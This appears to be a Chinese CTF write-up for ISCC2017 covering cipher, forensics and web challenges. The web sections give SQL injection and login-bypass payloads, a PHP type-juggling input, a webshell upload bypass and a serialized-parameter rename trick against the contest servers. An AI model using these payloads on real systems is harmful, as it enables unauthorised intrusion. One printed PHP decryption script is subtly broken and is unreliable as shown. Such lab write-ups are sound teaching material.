ISCC2017Web writeup

感谢最后来自逆向队友的助攻,侥幸拿了第54名,Web狗看逆向很是头大

Basic01 Wheel Cipher 50

身为二战时期的密码专家,你截获了通信员身上的一段密文、密钥序列和加密列表。你能看懂吗?

由提示Wheel Cipher可知是转轮密码
谷歌一下

解密方法:

将加密表根据密匙的数字顺序排序。

每一行相当于一个滚轮,字母是环形首尾相接排列的,按照密文将加密表每一行重新排列,使第一个字母符合密文,排列时当作一个环进行排列。

排好后按列读出,看看哪列成句子。

1
2
3
4
5
6
7
8
9
10
11
12
13
2: < N ACZDTRXMJQOYHGVS FUWIKPBEL <
3: < F HTEQGYXPLOCKBDMA IZVRNSJUW <
7: < Q GWTHSPYBXIZULVKM RAFDCEONJ <
5: < K CPMNZQWXYIHFRLAB EUOTSGJVD <
13: < S XCDERFVBGTYHNUMK ILOPJZQAW <
12: < E IURYTASBKJDFHGLV NCMXZPQOW <
9: < V UBMCQWAOIKZGJXPL TDSRFHENY <
1: < O SFEZWAXJGDLUBVIQ HKYPNTCRM <
8: < Q NOZUTWDCVRJLXKIS EFAPMYGHB <
10: < O WTGVRSCZQKELMXYI HPUDNAJFB <
4: < F CUKTEBSXQYIZMJWA ORPLNDVHG <
11: < N BVCXZQWERTPOIUYA LSKDJFHGM <
6: < P NYCJBFZDRUSLOQXV ETAMKGHIW <

得到flag FIREINTHEHOLE

Basic02 100

这题先爆破出密码BIT然后打开文件base64解码一下得到flag

Basic03 100

下载下来得到一串数字。。。感觉有点像16进制,但转码得不到什么实质性的东西,突然发现开头是504B,是.zip的头,估计就是文件的16进制
保存为zip格式,结果有密码,爆破吧
得到flag:daczcasdqwdcsdzasd

Basic04 你猜猜 100

16进制先转字符串得到文件头PK可知是zip文件,所以直接用hex新建一个文件把16进制导入然后生成一个zip文件由题目提示”你猜猜”猜解压密码为弱口令,123456
flag daczcasdqwdcsdzasd

Basic05 神秘图片 100

下载得到一张图片hex查看无果,binwalk一下发现是双图提取出另一个png


猪圈密码解一下
flag goodluck

Basic06 告诉你个秘密 100

提示简单加密
给了2行16进制
16进制分别解密为字符串得到

1
2
cjV5RyBscDlJIEJqTSB0RmhC
VDZ1aCB5N2lKIFFzWiBiaE0g

然后base64解密一下

1
2
r5yG lp9I BjM tFhB
T6uh y7iJ QsZ bhM

然后键盘密码得知
flag TONGYUAN

Basic07 php_encrypt_1

加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>

直接根据加密写解密脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function decrypt($data)
{
base64_decode($data)
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) - ord($char[$i]) + 128) % 128);
}
echo $str;
}
decrypt('fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=');
?>

Basic08 二维码 150

扫出来

1
The password of the router is our flag

binwalk提取出zip不贴图了
然后弱口令爆破,过程与前面一题差不多就不贴图了
flag ISCC16BA

Web签到题,来和我换flag啊! 100

http://139.129.108.53:3190/web-02/右键查看源码发现有一个hiddenflag,同时提交f1ag发现说不够诚意

然后就懵逼了半天,结果fuzzing半天还有个FLAG参数,报警了。。。,再提交FLAG=f1ag可在响应头中得到flag

Welcome to MySQL! SQL inject? 150

这题题目坑了我好久题目说是sql注入结果是文件上传
首先用php5绕过文件上传上传一个一句话然后用菜刀连接,在上级目录下发现存在一个base.php

1
2
3
4
5
6
7
<?php
$servername="localhost";
$username="iscc2017";
$password="iscc2017";
$db="flag";
$tb="flag";
?>

然后获得数据库账号和密码,然后直接用菜刀右键连接数据库可在数据库中得到flag

1
Flag:{Iscc_1s_Fun_4nd_php_iS_Easy}

where is your flag 150

扫目录发现一个flag.php页面
访问得到thisisflag
然后返回index.php进行注入发现有宽字节注入,sqlmap加tamper应该也是能跑的,但是我习惯手工注入了,所以直接构造payload

得到flag:{441b7fa1617307be9632263a4497871e}

我们一起来日站 150

先用御剑扫目录得到robots然后再用御剑扫后台地址

1
http://139.129.108.53:5090/web-04/21232f297a57a5a743894a0e4a801fc3/admin.php

然后在密码处用万能密码登陆

1
123' or '1'='1

得到flag

1
Flag:{ar32wefafafqw325t4rqfcafas}

I have a jpg,i upload a txt. 200

小明发现,php将上传的jpg文件流写入一个txt中,再重命名后缀为jpg还可以正常读取,于是写了一段上传代码,会不会有什么漏洞呢?
先贴源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<html>
<body>
<?php
include 'hanshu.php';
if(isset($_GET['do']))
{
$do=$_GET['do'];
if($do==upload)
{
if(empty($_FILES))
{
$html1=<<<HTML1
<form action="index.php?do=upload" method="post" enctype="multipart/form-data">
<input type="file" name="filename">
<input type="submit" value="upload">
</form>
HTML1;
echo $html1;
}
else
{ $file=@file_get_contents($_FILES["filename"]["tmp_name"]);
if(empty($file))
{
die('do you upload a file?');
}
else
{
if((strpos($file,'<?')>-1)||(strpos($file,'?>')>-1)||(stripos($file,'php')>-1)||(stripos($file,'<script')>-1)||(stripos($file,'</script')>-1))
{
die('you can\' upload this!');
}
else
{
$rand=mt_rand();
$path='/var/www/html/web-03/uploads/'.$rand.'.txt';
file_put_contents($path, $file);
echo 'your upload success!./uploads/'.$rand.'.txt';
}
}
}
}
elseif($do==rename)
{
if(isset($_GET['re']))
{
$re=$_GET['re'];
$re2=@unserialize(base64_decode(unKaIsA($re,6)));
if(is_array($re2))
{
if(count($re2)==2)
{
$rename='txt';
$rand=mt_rand();
$fp=fopen('./uploads/'.$rand.'.txt','w');
foreach($re2 as $key=>$value)
{
if($key==0)
{
$rename=$value;
}
else
{
if(file_exists('./uploads/'.$value.'.txt')&&is_numeric($value))
{
$file=file_get_contents('./uploads/'.$value.'.txt');
fwrite($fp,$file);
}
}
}
fclose($fp);
waf($rand,$rename);
rename('./uploads/'.$rand.'.txt','./uploads/'.$rand.'.'.$rename);
echo "you success rename!./uploads/$rand.$rename";
}
}
else
{
echo 'please not hack me!';
}
}
elseif(isset($_POST['filetype'])&&isset($_POST['filename']))
{
$filetype=$_POST['filetype'];
$filename=$_POST['filename'];
if((($filetype=='jpg')||($filetype=='png')||($filetype=='gif'))&&is_numeric($filename))
{
$re=KaIsA(base64_encode(serialize(array($filetype,$filename))),6);
header("Location:index.php?do=rename&re=$re");
exit();
}
else
{
echo 'you do something wrong';
}
}
else
{
$html2=<<<HTML2
<form action="index.php?do=rename" method="post">
filetype: <input type="text" name="filetype" /> please input the your file's type
</br>
filename: <input type="text" name="filename" /> please input your file's numeric name,like 12345678
</br>
<input type="submit" />
</form>
HTML2;
echo $html2;
}
}
}
else
{
show_source(__FILE__);
}
?>
</body>
</html>

首先我们可以看到$re=KaIsA(base64_encode(serialize(array($filetype,$filename))),6);这里我们并不知道KaIsA是怎么加密的,但是根据字面意思可以知道应该是替换,那么写个脚本fuzzing一下就可以发现
大写字母是正常移6位,小写字母是反向移6位,其他不移位。

首先我的考虑是先上传一个txt文件然后重命名为php文件,可是发现一下代码

1
if((strpos($file,'<?')>-1)||(strpos($file,'?>')>-1)||(stripos($file,'php')>-1)||(stripos($file,'<script')>-1)||(stripos($file,'</script')>-1))

所以,文件内容检测过滤了标签和php关键字,所以也不能用javascript修改language属性,所以猜想构造
俩个TXT文件再导入一个新的TXT文件里,再把那个TXT重命名为PHP文件,具体如下:
首先根据do=upload

1
2
3
4
5
6
else{
$rand=mt_rand();
$path='/var/www/html/web-03/uploads/'.$rand.'.txt';
file_put_contents($path, $file);
echo 'your upload success!./uploads/'.$rand.'.txt';
}

进行上传俩个TXT,可以得到俩个TXT文件的随机名
然后再通过
do=rename

1
2
3
4
5
6
7
8
9
10
11
else{
if(file_exists('./uploads/'.$value.'.txt')&&is_numeric($value)){
$file=file_get_contents('./uploads/'.$value.'.txt');
fwrite($fp,$file);
}
}
}
fclose($fp);
waf($rand,$rename);
rename('./uploads/'.$rand.'.txt','./uploads/'.$rand.'.'.$rename);
echo "you success rename!./uploads/$rand.$rename";

把俩个文件都导入到一个新的文件中,并得到新的文件的随机名,
然后再通过do=rename

1
2
3
4
fclose($fp);
waf($rand,$rename);
rename('./uploads/'.$rand.'.txt','./uploads/'.$rand.'.'.$rename);
echo "you success rename!./uploads/$rand.$rename";

进行重名名为php即可

1
2
3
4
POSTDATA:filetype=php&filename=1212
serialize:a:2:{i:0;s:3:"php";i:1;s:4:"1212";}
Base64:YToyOntpOjA7czozOiJwaHAiO2k6MTtzOjQ6IjEyMTIiO30=
KaIsA:EZisUhnjUdG7wtitUcPquNGcU2e6SZntUdW6OdKsSZOcU30=

最后用访问生成的新文件发现存在跳转,用bp抓一下包就得到flag
flag{54a5bd4fe6193580020487b56acff6c5}

simpleSQLinject 200

这题很常见的绕过,后台语句如下

1
2
3
4
5
6
$query = select * from foobar where username='$_GET[username]'
...
...
if $query['password'] = $_GET['password']{
getflag balabalabala...
}

所以构造payload如下

1
2
3
username=0' union select md5(1)#
&password=1
&captcha=xxx

captcha爆破代码如下

1
2
3
4
import hashlib
for i in range(0,10000):
if(hashlib.md5(str(i)).hexdigest().startswith('xxx')):
print i

Web05 自相矛盾 150

给一个链接
http://www.codesec.net/view/489193.html
payload如下:

1
iscc={%22bar1%22:%222017e%22,%22bar2%22:[[1],1,2,3,0]}&cat[0]=00isccctf2017&cat[1][]=1111&dog=%00

flag{sfklljljdstuaft}

Misc100 眼见非实

下载一个docx,hex查看发现是一个zip改后缀名为zip,解压后一个个文件文件搜索flag
在document.xml得到flag
flag{F1@g}

Misc 就在其中 150

右键追踪TCP流发现传输的文件,在11流中得到RSA的密文提取出来得到key.txt,在21流得到RSA的密钥提取为1.key,然后放到kali用openssl解密得到flag

1
openssl rsautl -decrypt -in key.txt -inkey 1.key -out flag.txt

hi, boys and girls! flag is {haPPy_Use_0penSsI}

Misc 很普通的Disco 250

下载后用Audacity打开
然后分析在开头放大分析频谱,
高位是1低位是0然后每8位转化一下位数然后ascii码得到flag
这题flag忘记是啥了。。尴尬。

Misc 再见李华 200

一开始是一张图片,用binwalk分析发现里面有一个zip压缩包,抠出来解压缩时发现需要密码
一开始真心不知道密码怎么解,想过爆破,不过后来仔细看题还是发现隐藏的hint,说是大于1000字,且落款为LiHua,也就是密码大致为????LiHua这样的话,尝试一下掩码爆破,直接出来

Misc 很普通的数独 300

这题乍一看没思路,再一看发现是一个二维码,用P图工具修一下直接得到flag

flag{y0ud1any1s1}

今晚就到这了太累了,剩下的以后有时间写